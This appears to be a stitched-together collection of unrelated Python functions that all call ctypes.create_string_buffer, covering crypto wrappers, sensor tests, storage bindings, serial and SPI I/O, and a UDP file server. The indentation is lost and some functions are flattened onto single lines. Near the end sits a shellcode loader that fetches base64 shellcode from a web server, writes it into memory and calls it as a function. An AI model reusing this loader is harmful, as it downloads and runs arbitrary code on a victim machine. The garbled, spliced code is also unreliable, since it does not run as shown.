def crypto_box_detached(msg, nonce, pk, sk):
if None in (msg, nonce, pk, sk):
raise ValueError("invalid parameters")
c = ctypes.create_string_buffer(len(msg))
mac = ctypes.create_string_buffer(crypto_box_MACBYTES)
__check(sodium.crypto_box_detached(c, mac, msg.encode(), ctypes.c_ulonglong(len(msg)), nonce, pk, sk))
return c.raw, mac.raw
def test_set_standby(self):
command= create_string_buffer(4)
expected= create_string_buffer(b'\x12\x03\x0c\x60', 4)
metawear_lib.mbl_mw_baro_bmp280_set_standby_time(self.config, BaroBmp280Standby.STANDBY_250MS)
metawear_lib.mbl_mw_baro_bmp280_write_config(command, self.config)
self.assertEqual(command.raw, expected.raw)
def test_set_oversampling(self):
command= create_string_buffer(4)
expected= create_string_buffer(b'\x12\x03\x14\x00', 4)
metawear_lib.mbl_mw_baro_bmp280_set_oversampling(self.config, BaroBmp280Oversampling.ULTRA_HIGH)
metawear_lib.mbl_mw_baro_bmp280_write_config(command, self.config)
self.assertEqual(command.raw, expected.raw)
def parent_info(self):
"""
Get information about a cloned image's parent (if any)
:returns: tuple - ``(pool name, image name, snapshot name)`` components
of the parent image
:raises: :class:`ImageNotFound` if the image doesn't have a parent
"""
ret = -errno.ERANGE
size = 8
while ret == -errno.ERANGE and size <= 4096:
pool = create_string_buffer(size)
name = create_string_buffer(size)
snapname = create_string_buffer(size)
ret = self.librbd.rbd_get_parent_info(self.image, byref(pool),
c_size_t(size),
byref(name),
c_size_t(size),
byref(snapname),
c_size_t(size))
if ret == -errno.ERANGE:
size *= 2
if ret != 0:
raise make_ex(ret, 'error getting parent info for image %s' % (self.name,))
return (pool.value, name.value, snapname.value)
def test_set_filter(self):
command= create_string_buffer(4)
expected= create_string_buffer(b'\x12\x03\x0c\x08', 4)
metawear_lib.mbl_mw_baro_bmp280_set_iir_filter(self.config, BaroBmp280IirFilter.AVG_4)
metawear_lib.mbl_mw_baro_bmp280_write_config(command, self.config)
self.assertEqual(command.raw, expected.raw)
def __init__(self, device, snaplen, promisc, to_ms):
self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE)
self.iface = create_string_buffer(device)
self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf)
self.header = POINTER(pcap_pkthdr)()
self.pkt_data = POINTER(c_ubyte)()
self.bpf_program = bpf_program()
def create_key(self, password, salt=None):
'''
Create a key and IV for a given password.
If the salt is given, it is used. Otherwise a new random
salt is created.
Returns key, salt, iv
@param pw:
@param salt:
'''
if salt != None and len(salt) != 8:
raise CipherError("Invalid salt, must be None or length 8")
# add the hash
evp.OpenSSL_add_all_digests()
# build the key buffer
key = ctypes.create_string_buffer(32)
iv = ctypes.create_string_buffer(16)
# either take the existing salt or build a new one
if not salt:
salt = os.urandom(8)
# get the hash
evp_hash = evp.EVP_get_digestbyname("sha256")
if not evp_hash:
raise CipherError("Could not create hash object")
# fill the key
if not evp.EVP_BytesToKey(evp.EVP_aes_256_cbc(), evp_hash, salt,
password, len(password), 1, key, iv):
raise CipherError("Could not strengthen key")
# go home
return key.raw, salt, iv
def run(self):
"""
All the real work happens herein; we can be called in one of three
situations, determined by environment variables. First couple are
during the agent Install process, where the domain.h and namespace
files need to be created. The third case is the real mccoy, where
an agent is actually being started by pmcd/dbpmda and makes use of
libpcp_pmda to talk PCP protocol.
"""
if ('PCP_PYTHON_DOMAIN' in os.environ):
self.domain_write()
elif ('PCP_PYTHON_PMNS' in os.environ):
self.pmns_write(os.environ['PCP_PYTHON_PMNS'])
else:
self.pmns_refresh()
cpmda.pmid_oneline_refresh(self._metric_oneline)
cpmda.pmid_longtext_refresh(self._metric_helptext)
cpmda.indom_oneline_refresh(self._indom_oneline)
cpmda.indom_longtext_refresh(self._indom_helptext)
numindoms = len(self._indomtable)
ibuf = create_string_buffer(numindoms * sizeof(pmdaIndom))
indoms = cast(ibuf, POINTER(pmdaIndom))
for i in xrange(numindoms):
indoms[i] = self._indomtable[i]
nummetrics = len(self._metrictable)
mbuf = create_string_buffer(nummetrics * sizeof(pmdaMetric))
metrics = cast(mbuf, POINTER(pmdaMetric))
for i in xrange(nummetrics):
metrics[i] = self._metrictable[i]
cpmda.pmda_dispatch(ibuf.raw, numindoms, mbuf.raw, nummetrics)
def poll(): db = dbal.DBAL() print "getting sensors" protocollength = 20 modellength = 20 valuelength = 20 protocol = create_string_buffer(protocollength) model = create_string_buffer(modellength) idvalue = c_int() dataTypes = c_int() while(lib.tdSensor(protocol, protocollength, model, modellength, byref(idvalue), byref(dataTypes)) == 0): print "Sensor: ", protocol.value, model.value, "id:", idvalue.value value = create_string_buffer(valuelength) timestampvalue = c_int() if((dataTypes.value & TELLSTICK_TEMPERATURE) != 0): success = lib.tdSensorValue(protocol.value, model.value, idvalue.value, TELLSTICK_TEMPERATURE, value, valuelength, byref(timestampvalue)) print "Temperature: ", value.value, "C,", datetime.fromtimestamp(timestampvalue.value) if db.get_device(int(idvalue.value)) is not None: db.insert_sensor_data(int(idvalue.value), value.value) if((dataTypes.value & TELLSTICK_HUMIDITY) != 0): success = lib.tdSensorValue(protocol.value, model.value, idvalue.value, TELLSTICK_HUMIDITY, value, valuelength, byref(timestampvalue)) print "Humidity: ", value.value, "%,", datetime.fromtimestamp(timestampvalue.value) print " "
def update_bar(self):
if self._bar:
self._bar.clear()
self._bar.add_var('export name',self.rec_name)
self._bar.add_var('start frame',self.start_frame)
self._bar.add_var('end frame',self.end_frame)
self._bar.add_button('new export',self.add_export)
for job,i in zip(self.exports,range(len(self.exports))):
self._bar.add_var("%s_out_file"%i,create_string_buffer(512),
getter= self.atb_out_file_path,
data = self.exports[i],
label='file location:',
group=str(i),
)
self._bar.add_var("%s_progess"%i,create_string_buffer(512),
getter= self.atb_progress,
data = self.exports[i],
label='progess',
group=str(i),
)
self._bar.add_var("%s_terminate"%i,job.should_terminate,group=str(i),label='cancel')
def sendJoinRoomRequestOIE(self,roomName):
self.RoomName=roomName # il y'avait self.thisRoomName???
ack_num=0
res=0
ack=0
if (roomName!=ROOM_IDS.MAIN_ROOM):
self.userStatus=userStatus['waitingfMovieRoomUserList']
self.typemsgenvoye="6"
typeMsg=6
msgLength=14
Movie=self.MovieStore.getMovieByTitle(roomName)
print Movie.movieTitle
IpAdressMovie=Movie.movieIpAddress
print IpAdressMovie
MoviePort=Movie.moviePort
buf=ctypes.create_string_buffer(14)
header=(typeMsg<<28)|(ack<<27)|(res<<26)|(ack_num<<13)|(self.seq_num)
Tab=IpAdressMovie.split('.')
print Tab
struct.pack_into(">LHHBBBBH", buf,0,header,msgLength,self.userId,int(Tab[0]),int(Tab[1]),int(Tab[2]),int(Tab[3]),MoviePort)
self.EnvoiMsg(buf)
else:
typeMsg=7
self.userStatus=userStatus['waitingMainRoom']
self.typemsgenvoye="7"
msgLength=8
buf=ctypes.create_string_buffer(8)
header=(typeMsg<<28)|(ack<<27)|(res<<26)|(ack_num<<13)|(self.seq_num)
struct.pack_into(">LHH", buf,0,header,msgLength,self.userId)
self.EnvoiMsg(buf)
print "Request join movie room envoyé"
def commandLogger(self, command, length):
self.command= []
for i in range(0, length):
self.command.append(command[i])
if (command[1] == 0x80):
if (self.boardType == TestMetaWearBase.METAWEAR_RG_BOARD and command[0] in self.metawear_rg_services):
service_response= self.metawear_rg_services[command[0]]
self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, service_response.raw, len(service_response))
elif (self.boardType == TestMetaWearBase.METAWEAR_R_BOARD and command[0] in self.metawear_r_services):
service_response= self.metawear_r_services[command[0]]
self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, service_response.raw, len(service_response))
elif (self.boardType == TestMetaWearBase.METAWEAR_RPRO_BOARD and command[0] in self.metawear_rpro_services):
service_response= self.metawear_rpro_services[command[0]]
self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, service_response.raw, len(service_response))
else:
# ignore module discovey commands
self.command_history.append(self.command)
if (command[0] == 0xc and command[1] == 0x2):
response= create_string_buffer(b'\x0c\x02', 3)
response[2]= self.timerId
self.timerId+= 1
self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, response.raw, len(response.raw))
elif (command[0] == 0xa and command[1] == 0x3):
response= create_string_buffer(b'\x0a\x02', 3)
response[2]= self.eventId
self.eventId+= 1
self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, response.raw, len(response.raw))
elif (command[0] == 0x9 and command[1] == 0x2):
response= create_string_buffer(b'\x09\x02', 3)
response[2]= self.dataprocId
self.dataprocId+= 1
self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, response.raw, len(response.raw))
def read(self, size=1):
"""Read size bytes from the serial port. If a timeout is set it may
return less characters as requested. With no timeout it will block
until the requested number of bytes is read."""
if not self.hComPort: raise portNotOpenError
if size > 0:
win32.ResetEvent(self._overlappedRead.hEvent)
flags = win32.DWORD()
comstat = win32.COMSTAT()
if not win32.ClearCommError(self.hComPort, ctypes.byref(flags), ctypes.byref(comstat)):
raise SerialException('call to ClearCommError failed')
if self.timeout == 0:
n = min(comstat.cbInQue, size)
if n > 0:
buf = ctypes.create_string_buffer(n)
rc = win32.DWORD()
err = win32.ReadFile(self.hComPort, buf, n, ctypes.byref(rc), ctypes.byref(self._overlappedRead))
if not err and win32.GetLastError() != win32.ERROR_IO_PENDING:
raise SerialException("ReadFile failed (%s)" % ctypes.WinError())
err = win32.WaitForSingleObject(self._overlappedRead.hEvent, win32.INFINITE)
read = buf.raw[:rc.value]
else:
read = bytes()
else:
buf = ctypes.create_string_buffer(size)
rc = win32.DWORD()
err = win32.ReadFile(self.hComPort, buf, size, ctypes.byref(rc), ctypes.byref(self._overlappedRead))
if not err and win32.GetLastError() != win32.ERROR_IO_PENDING:
raise SerialException("ReadFile failed (%s)" % ctypes.WinError())
err = win32.GetOverlappedResult(self.hComPort, ctypes.byref(self._overlappedRead), ctypes.byref(rc), True)
read = buf.raw[:rc.value]
else:
read = bytes()
return bytes(read)
def ne2001_get_smtau(dist, gl, gb):
"""Use NE2001 model to get the DISS scattering timescale"""
dist = C.c_float(dist)
# gl gb need to be in radians
gl = C.c_float(math.radians(gl))
gb = C.c_float(math.radians(gb))
#call dmdsm and get the value out of smtau
ndir = C.c_int(-1)
sm = C.c_float(0.)
smtau = C.c_float(0.)
inpath = C.create_string_buffer(fortranpath)
linpath = C.c_int(len(fortranpath))
ne2001lib.dmdsm_(C.byref(gl),
C.byref(gb),
C.byref(ndir),
C.byref(C.c_float(0.0)),
C.byref(dist),
C.byref(C.create_string_buffer(' ')),
C.byref(sm),
C.byref(smtau),
C.byref(C.c_float(0.0)),
C.byref(C.c_float(0.0)),
C.byref(inpath),
C.byref(linpath)
)
return sm.value, smtau.value
def aead_encrypt(self, data):
"""
Encrypt data with authenticate tag
:param data: plain text
:return: cipher text with tag
"""
global buf_size, buf
plen = len(data)
if buf_size < plen + self._tlen:
buf_size = (plen + self._tlen) * 2
buf = create_string_buffer(buf_size)
cipher_out_len = c_size_t(0)
tag_buf = create_string_buffer(self._tlen)
r = libmbedtls.mbedtls_cipher_auth_encrypt(
byref(self._ctx),
c_char_p(self._nonce.raw), c_size_t(self._nlen),
None, c_size_t(0),
c_char_p(data), c_size_t(plen),
byref(buf), byref(cipher_out_len),
byref(tag_buf), c_size_t(self._tlen)
)
assert cipher_out_len.value == plen
if r:
raise Exception('AEAD encrypt failed {0:#x}'.format(r))
self.cipher_ctx_init()
return buf.raw[:cipher_out_len.value] + tag_buf.raw[:self._tlen]
def get_characterset_name(self, attribute, override_value):
"""Retrieve and store the IANA character set name for the attribute."""
# if override value specified, use it
if override_value:
return override_value
# get character set id
c_charset_id = oci.ub2()
# not using pythonic OCIAttrGet on purpose here.
status = oci.OCIAttrGet(self.handle, oci.OCI_HTYPE_ENV, byref(c_charset_id), None, attribute, self.error_handle)
self.check_for_error(status, "Environment_GetCharacterSetName(): get charset id")
# get character set name
c_charset_name_array = ctypes.create_string_buffer(oci.OCI_NLS_MAXBUFSZ)
c_charset_name_pointer = ctypes.cast(c_charset_name_array, oci.OCINlsCharSetIdToName.argtypes[1])
status = oci.OCINlsCharSetIdToName(self.handle, c_charset_name_pointer, oci.OCI_NLS_MAXBUFSZ, c_charset_id)
self.check_for_error(status, "Environment_GetCharacterSetName(): get Oracle charset name")
# get IANA character set name
c_iana_charset_name_array = ctypes.create_string_buffer(oci.OCI_NLS_MAXBUFSZ)
c_iana_charset_name_pointer = ctypes.cast(c_iana_charset_name_array, oci.OCINlsNameMap.argtypes[1])
status = oci.OCINlsNameMap(self.handle, c_iana_charset_name_pointer, oci.OCI_NLS_MAXBUFSZ, c_charset_name_pointer, oci.OCI_NLS_CS_ORA_TO_IANA)
self.check_for_error(status, "Environment_GetCharacterSetName(): translate NLS charset")
return c_iana_charset_name_array.value
def __init__(self, messageBuffer=None, id=None, size=None):
doInit = 0
if messageBuffer == None:
doInit = 1
messageBuffer = ctypes.create_string_buffer(Messaging.hdrSize + size)
else:
try:
messageBuffer.raw
except AttributeError:
newbuf = ctypes.create_string_buffer(len(messageBuffer))
for i in range(0, len(messageBuffer)):
newbuf[i] = bytes(messageBuffer)[i]
messageBuffer = newbuf
# this is a trick to get us to store a copy of a pointer to a buffer, rather than making a copy of the buffer
self.msg_buffer_wrapper = { "msg_buffer": messageBuffer }
# this is a trick to allow the creation of fake fields that aren't actually in a message,
# but that we want to act like fields of the message
self.fake_fields = {}
self.hdr = Messaging.hdr(messageBuffer)
if doInit:
self.hdr.SetMessageID(id)
self.hdr.SetDataLength(size)
def get_varnames(filter='*', vartype=0):
'''
This function returns variable names in the model a filter can be specified
in the same way as Vensim variable Selection filter (use * for all),
vartype is an integer that specifies the types of variables you want to
see.
(see DSS reference chapter 12 for details)
Parameters
----------
filter : str
selection filter, use \* for all.
vartype : int
variable type to retrieve. See table
Returns
-------
a list with the variable names
Notes
-----
====== =============
number meaning
====== =============
0 all
1 levels
2 auxiliaries
3 data
4 initial
5 constant
6 lookup
7 group
8 subscript
9 constraint
10 test input
11 time base
12 gaming
====== =============
'''
filter = ctypes.c_char_p(filter)
vartype = ctypes.c_int(vartype)
buf = ctypes.create_string_buffer("", 512)
maxBuf = ctypes.c_int(512)
a = vensim.vensim_get_varnames(filter, vartype, buf, maxBuf)
buf = ctypes.create_string_buffer("", int(a))
maxBuf = ctypes.c_int(int(a))
vensim.vensim_get_varnames(filter, vartype, buf, maxBuf)
varnames = repr(buf.raw)
varnames = varnames.strip()
varnames = varnames.rstrip("'")
varnames = varnames.lstrip("'")
varnames = varnames.split(r"\x00")
varnames = [varname for varname in varnames if len(varname) != 0]
return varnames
def transaction(self, bytes_to_send):
"""Sends bytes via the SPI bus.
:param bytes_to_send: The bytes to send on the SPI device.
:type bytes_to_send: bytes
:returns: bytes -- returned bytes from SPI device
:raises: InitError
"""
bytes_to_send = _pybytes(bytes_to_send)
# make some buffer space to store reading/writing
wbuffer = ctypes.create_string_buffer(bytes_to_send,
len(bytes_to_send))
rbuffer = ctypes.create_string_buffer(len(bytes_to_send))
# create the spi transfer struct
transfer = spi_ioc_transfer(
tx_buf=ctypes.addressof(wbuffer),
rx_buf=ctypes.addressof(rbuffer),
len=ctypes.sizeof(wbuffer))
if self.spi_transaction_callback is not None:
self.spi_transaction_callback(bytes_to_send)
# send the spi command
ioctl(self.fd, SPI_IOC_MESSAGE(1), transfer)
return _pyord(ctypes.string_at(rbuffer, ctypes.sizeof(rbuffer)))
def list_children(self):
"""
List children of the currently set snapshot (set via set_snap()).
:returns: list - a list of (pool name, image name) tuples
"""
pools_size = c_size_t(512)
images_size = c_size_t(512)
while True:
c_pools = create_string_buffer(pools_size.value)
c_images = create_string_buffer(images_size.value)
ret = self.librbd.rbd_list_children(self.image,
byref(c_pools),
byref(pools_size),
byref(c_images),
byref(images_size))
if ret >= 0:
break
elif ret != -errno.ERANGE:
raise make_ex(ret, 'error listing images')
if ret == 0:
return []
pools = c_pools.raw[:pools_size.value - 1].split('\0')
images = c_images.raw[:images_size.value - 1].split('\0')
return zip(pools, images)
def get_info(infowanted):
'''
Use this function to get information about vensim, for details see DSS
reference chapter 12
Parameters
----------
infowanted : int
field that specifies the info wanted
'''
buf = ctypes.create_string_buffer("", 512)
maxBuf = ctypes.c_int(512)
a = vensim.vensim_get_info(infowanted, buf, maxBuf)
buf = ctypes.create_string_buffer("", int(a))
maxBuf = ctypes.c_int(int(a))
vensim.vensim_get_info(infowanted, buf, maxBuf)
result = repr(buf.raw)
result = result.strip()
result = result.rstrip("'")
result = result.lstrip("'")
result = result.split(r"\x00")
result = result[0:-2]
return result
def getMat(self):
hdc = win32gui.GetWindowDC(self.hwnd)
dc_obj = win32ui.CreateDCFromHandle(hdc)
memorydc = dc_obj.CreateCompatibleDC()
data_bitmap = win32ui.CreateBitmap()
data_bitmap.CreateCompatibleBitmap(dc_obj, self.width, self.height)
memorydc.SelectObject(data_bitmap)
memorydc.BitBlt((0, 0), (self.width, self.height), dc_obj, (self.dx, self.dy), win32con.SRCCOPY)
bmpheader = struct.pack("LHHHH", struct.calcsize("LHHHH"),
self.width, self.height, 1, 24)
c_bmpheader = ctypes.create_string_buffer(bmpheader)
# padded_length = (string_length + 3) & -3 for 4-byte aligned.
c_bits = ctypes.create_string_buffer(" " * (self.width * ((self.height * 3 + 3) & -3)))
res = ctypes.windll.gdi32.GetDIBits(memorydc.GetSafeHdc(), data_bitmap.GetHandle(),
0, self.height, c_bits, c_bmpheader, win32con.DIB_RGB_COLORS)
win32gui.DeleteDC(hdc)
win32gui.ReleaseDC(self.hwnd, hdc)
memorydc.DeleteDC()
win32gui.DeleteObject(data_bitmap.GetHandle())
cv_im = cv.CreateImageHeader((self.width, self.height), cv.IPL_DEPTH_8U, 3)
cv.SetData(cv_im, c_bits.raw)
# flip around x-axis
cv.Flip(cv_im, None, 0)
mat = cv.GetMat(cv_im)
return numpy.asarray(mat)
def ecdsa_sign(private_key, hash):
k = ssl_library.EC_KEY_new_by_curve_name(NID_secp256k1)
storage = ctypes.create_string_buffer(private_key)
bignum_private_key = ssl_library.BN_new()
ssl_library.BN_bin2bn(storage, 32, bignum_private_key)
group = ssl_library.EC_KEY_get0_group(k)
point = ssl_library.EC_POINT_new(group)
ssl_library.EC_POINT_mul(group, point, bignum_private_key, None, None, None)
ssl_library.EC_KEY_set_private_key(k, bignum_private_key)
ssl_library.EC_KEY_set_public_key(k, point)
assert isinstance(hash, bytes)
dgst = ctypes.cast((ctypes.c_ubyte*len(hash))(*[int(x) for x in hash]), ctypes.POINTER(ctypes.c_ubyte))
siglen = ctypes.c_int(ssl_library.ECDSA_size(k))
signature = ctypes.create_string_buffer(siglen.value)
if ssl_library.ECDSA_sign(0, dgst, len(hash), signature, ctypes.byref(siglen), k) == 0:
raise Exception("Failed to sign signature")
signature = signature.raw[:siglen.value]
ssl_library.EC_POINT_free(point)
ssl_library.BN_free(bignum_private_key)
ssl_library.EC_KEY_free(k)
return signature
def transfer(self, data, speed=0, bits_per_word=0, delay=0):
"""Perform full-duplex Spi transfer
Args:
data: List of words to transmit
speed: Optional temporary bitrate override in Hz. 0 (default)
uses existing spidev speed setting.
bits_per_word: Optional temporary bits_per_word override. 0
(default) will use the current bits_per_word setting.
delay: Optional delay in usecs between sending the last bit and
deselecting the chip select line. 0 (default) for no delay.
Returns:
List of words read from Spi bus during transfer
"""
data = array.array('B', data).tostring()
length = len(data)
transmit_buffer = ctypes.create_string_buffer(data)
receive_buffer = ctypes.create_string_buffer(length)
spi_ioc_transfer = struct.pack(Spi._IOC_TRANSFER_FORMAT,
ctypes.addressof(transmit_buffer),
ctypes.addressof(receive_buffer),
length, speed, delay, bits_per_word, 0,
0, 0, 0)
fcntl.ioctl(self.handle, Spi._IOC_MESSAGE, spi_ioc_transfer)
return [ord(byte) for byte in ctypes.string_at(receive_buffer, length)]
def setproctitle(title):
'''
Set process title
@param title:str The title of the process
'''
import ctypes
try:
# Remove path, keep only the file,
# otherwise we get really bad effects, namely
# the name title is truncates by the number
# of slashes in the title. At least that is
# the observed behaviour when using procps-ng.
title = title.split('/')[-1]
# Create strng buffer with title
title = title.encode(sys.getdefaultencoding(), 'replace')
title = ctypes.create_string_buffer(title)
if 'linux' in sys.platform:
# Set process title on Linux
libc = ctypes.cdll.LoadLibrary('libc.so.6')
libc.prctl(15, ctypes.byref(title), 0, 0, 0)
elif 'bsd' in sys.platform:
# Set process title on at least FreeBSD
libc = ctypes.cdll.LoadLibrary('libc.so.7')
libc.setproctitle(ctypes.create_string_buffer(b'-%s'), title)
except:
pass
def read_fragment(self, key, namespace, offset=0, count=1):
"""Fragmented version of read function for large blobs
:param key: The blob key to be read.
:type key: str.
:param namespace: The blob namespace to read the key from.
:type namespace: str.
:param offset: The data offset for the current fragmented read.
:type key: int.
:param count: The data count for the current fragmented read.
:type namespace: int.
"""
lib = self.getHprestChifHandle()
lib.read_fragment.argtypes = [c_uint, c_uint, c_char_p, c_char_p]
lib.read_fragment.restype = POINTER(c_ubyte)
name = create_string_buffer(key)
namespace = create_string_buffer(namespace)
ptr = lib.read_fragment(offset, count, name, namespace)
data = ptr[:lib.size_of_readRequest()]
data = bytearray(data)
resp = self._send_receive_raw(data, lib.size_of_readResponse())
if len(resp) < lib.size_of_responseHeader():
raise Blob2ReadError("read fragment response smaller than expected")
resp = resp + "\0" * (lib.size_of_readResponse() - len(resp))
return resp
def create_binary_buffer(string_or_len):
# Prevent ctypes from adding a trailing null char.
if isinstance(string_or_len, basestring):
result = create_string_buffer(string_or_len, len(string_or_len))
else:
result = create_string_buffer(string_or_len)
return result
def wl_ioctl(cmd, buff=''):
req = apple80211req()
req.ifname = "en0\0"
req.req_type = APPLE80211_IOC_CARD_SPECIFIC
req.req_val = cmd
if len(buff) != 0:
# TODO: create_string agrega '\0'.
buff = ctypes.create_string_buffer(buff)
req.req_data = ctypes.cast(buff, ctypes.c_void_p)
req.req_len = len(buff) - 1
else:
buff = ctypes.create_string_buffer(4)
req.req_data = ctypes.cast(buff, ctypes.c_void_p)
req.req_len = 4
libSystem = ctypes.cdll.LoadLibrary("/usr/lib/libSystem.B.dylib")
s = socket.socket()
if libSystem.ioctl(s.fileno(), SIOCSA80211, ctypes.byref(req)) != 0:
libSystem.__error.restype = ctypes.POINTER(ctypes.c_int)
libSystem.strerror.restype = ctypes.c_char_p
errno = libSystem.__error().contents.value
raise Exception("ioctl error: %s" % libSystem.strerror(errno))
s.close()
return ''.join(x for x in buff)
def open_all_devices(existing=None):
dev = POINTER(ykneomgr_dev)()
check(ykneomgr_init(byref(dev)))
size = c_size_t()
check(ykneomgr_list_devices(dev, None, byref(size)))
devlist = create_string_buffer(size.value)
check(ykneomgr_list_devices(dev, devlist, byref(size)))
names = devlist.raw.strip('\0').split('\0')
devices = []
for d in existing or []:
if getattr(d, '_dev_str', None) in names:
if d._broken:
d.close()
else:
devices.append(d)
names.remove(d._dev_str)
for name in names:
if not dev:
dev = POINTER(ykneomgr_dev)()
check(ykneomgr_init(byref(dev)))
if ykneomgr_connect(dev, create_string_buffer(name)) == 0:
devices.append(create_device(dev, name))
dev = None
if dev:
ykneomgr_done(dev)
return devices
def run(self, board):
gbbo_fmt = lang.board.formats.AvailableFormats['gbbo']()
# generate buffer for the board, with the board data
board_str = gbbo_fmt.to_string(board)
buf = ctypes.create_string_buffer(board_str)
arch = instruction_set()
# generate result buffer for the return values
resbuf_len = max(arch.Word_size * self._nretvals, arch.THROW_ERROR_Max_err_len)
resbuf = ctypes.create_string_buffer(resbuf_len * '\xff')
# run native function over the buffers
res = self._f(buf, resbuf)
if res == 0:
# if result is ok, retrieve the resulting board and
# build the list of return values
gbbo_fmt.from_string(board, buf.raw)
ws = arch.Word_size
varnames = self._jit.main_varnames()
retvals = []
assert len(varnames) == self._nretvals
for i in range(self._nretvals):
vn = lang.gbs_builtins.polyname_name(varnames[i])
vt = lang.gbs_builtins.polyname_types(varnames[i])[0]
retvals.append((vn, arch.decode_literal(vt, resbuf[ws * i:ws * i + ws])))
return retvals
elif res == arch.THROW_ERROR_Errcode:
msg = resbuf.raw.split('\0')[0]
raise GbsJitRuntimeException(msg, lang.bnf_parser.fake_bof())
else:
assert False
def _get_param_attr(self, index, opcode):
# It should be VstStringConstants.kVstMaxParamStrLen == 8 but I've encountered some VST
# with more that would segfault.
buf = create_string_buffer(64)
self._dispatch(opcode, index=index, ptr=byref(buf))
return string_at(buf).decode()
import urllib2 import ctypes import base64 # retrieve the shellcode from our web server url = "http://localhost:8000/shellcode.bin" response = urllib2.urlopen(url) # decode the shellcode from base64 shellcode = base64.b64decode(response.read()) # create a buffer in memory shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) # create a function pointer to our shellcode shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬ (ctypes.c_void_p)) # call our shellcode shellcode_func()
def handle(self):
def hs():
data = self.request[0].strip()
if (int(data.decode()[8:11]) == 101):
MyUDPHandler.Acks.threads[2] = False
print("FIN/ACK")
LOG.write("RECV <{}> <{}> [ACK][][FIN]\n".format(
int(data.decode()[0:3]), int(data.decode()[4:7])))
return
if (int(data.decode()[0:3]) == MyUDPHandler.Acks.threads[3]):
LOG.write("RECV <{}> <{}> [ACK][][]\n".format(
int(data.decode()[0:3]), int(data.decode()[4:7])))
MyUDPHandler.Acks.threads[3] += 1
MyUDPHandler.Acks.threads[1] += 1
d = struct.Struct('4s 4s 4s 512s')
b = ctypes.create_string_buffer(d.size)
d.pack_into(
b, 0, bytes(str(int(MyUDPHandler.Acks.threads[1])),
"utf-8"),
bytes(str(int(MyUDPHandler.Acks.threads[3])), "utf-8"),
b"000",
bytes(fsave[(MyUDPHandler.Acks.threads[6]) *
512:(1 + MyUDPHandler.Acks.threads[6]) * 512]))
MyUDPHandler.Acks.threads[6] += 1
socket = self.request[1]
if (MyUDPHandler.Acks.threads[1] <
MyUDPHandler.Acks.threads[5] - 1):
LOG.write("SEND <{}> <{}> [ACK][][]\n\n".format(
MyUDPHandler.Acks.threads[1],
MyUDPHandler.Acks.threads[3]))
socket.sendto(b, self.client_address)
elif (MyUDPHandler.Acks.threads[1] ==
MyUDPHandler.Acks.threads[5] - 1):
b[8:11] = b"111"
print(
"File complete,{} segments sending FIN, ACK={}".format(
ff, MyUDPHandler.Acks.threads[3]))
LOG.write("SEND <{}> <{}> [ACK][][FIN]\n\n".format(
MyUDPHandler.Acks.threads[1],
MyUDPHandler.Acks.threads[3]))
socket.sendto(b, self.client_address)
else: #RESEND HERE SAME ACK AND SEQUENCE WITHOUT INC
d = struct.Struct('4s 4s 4s 512s')
b = ctypes.create_string_buffer(d.size)
d.pack_into(
b, 0, bytes(str(int(MyUDPHandler.Acks.threads[1])),
"utf-8"),
bytes(str(int(MyUDPHandler.Acks.threads[3])), "utf-8"),
b"000",
bytes(fsave[MyUDPHandler.Acks.threads[6] *
512:(1 + MyUDPHandler.Acks.threads[6]) * 512]))
socket = self.request[1]
LOG.write("SEND <{}> <{}> [ACK][][]\n\n".format(
MyUDPHandler.Acks.threads[1],
MyUDPHandler.Acks.threads[3]))
socket.sendto(b, self.client_address)
def settinghandshake():
data = self.request[0].strip()
if (int(data.decode()[0:3]) == MyUDPHandler.Acks.threads[3]):
LOG.write("RECV <{}> <{}> [ACK][][]\n".format(
int(data.decode()[0:3]), int(data.decode()[4:7])))
MyUDPHandler.Acks.threads[4] = False
MyUDPHandler.Acks.threads[2] = True
MyUDPHandler.Acks.threads[3] += 1
MyUDPHandler.Acks.threads[1] += 1
MyUDPHandler.Acks.threads.append(
ff + MyUDPHandler.Acks.threads[1]) #5
print(
"Handshake Complete, Sending {} as ACK and {} as Sequence".
format(MyUDPHandler.Acks.threads[3],
MyUDPHandler.Acks.threads[1]))
d = struct.Struct('4s 4s 4s 512s')
b = ctypes.create_string_buffer(d.size)
d.pack_into(
b, 0, bytes(str(int(MyUDPHandler.Acks.threads[1])),
"utf-8"),
bytes(str(int(MyUDPHandler.Acks.threads[3])), "utf-8"),
b"000", bytes(fsave[0:512]))
MyUDPHandler.Acks.threads.append(1) #6
socket = self.request[1]
LOG.write("SEND <{}> <{}> [ACK][][]\n\n".format(
MyUDPHandler.Acks.threads[1],
MyUDPHandler.Acks.threads[3]))
socket.sendto(b, self.client_address)
else:
d = struct.Struct('4s 4s 4s')
d.pack_into(b, 0,
bytes(str(MyUDPHandler.Acks.threads[1]), "utf-8"),
bytes(str(MyUDPHandler.Acks.threads[3]), "utf-8"),
b"000")
LOG.write("RECV <{}> <{}> [ACK][][]\n".format(
int(data.decode()[0:3]), int(data.decode()[4:7])))
LOG.write("RETRAN <{}> <{}> [ACK][][]\n\n".format(
MyUDPHandler.Acks.threads[1],
MyUDPHandler.Acks.threads[3]))
socket.sendto(b, self.client_address)
MyUDPHandler.Acks.threads[4] = True
for i in MyUDPHandler.Acks.threads:
if self.client_address[0] == i:
if (MyUDPHandler.Acks.threads[2] == True):
hs()
return
elif (MyUDPHandler.Acks.threads[4] == True):
settinghandshake()
return
MyUDPHandler.Acks.threads.append(self.client_address[0]) #address
MyUDPHandler.Acks.threads.append(1000) #sequence
MyUDPHandler.Acks.threads.append(False) #handshakedone
data = self.request[0].strip()
LOG.write("RECV <{}> <{}> [][SYN][]\n".format(int(data.decode()[0:3]),
0))
MyUDPHandler.Acks.threads.append(int(data.decode()[0:3]) + 1) #ACK
flags = (str(data.decode()[4:12]))
socket = self.request[1]
d = struct.Struct('4s 4s 4s')
b = ctypes.create_string_buffer(d.size)
d.pack_into(b, 0, bytes(str(MyUDPHandler.Acks.threads[1]), "utf-8"),
bytes(str(MyUDPHandler.Acks.threads[3]), "utf-8"), b"2")
MyUDPHandler.Acks.threads.append(True) #settinghandshake
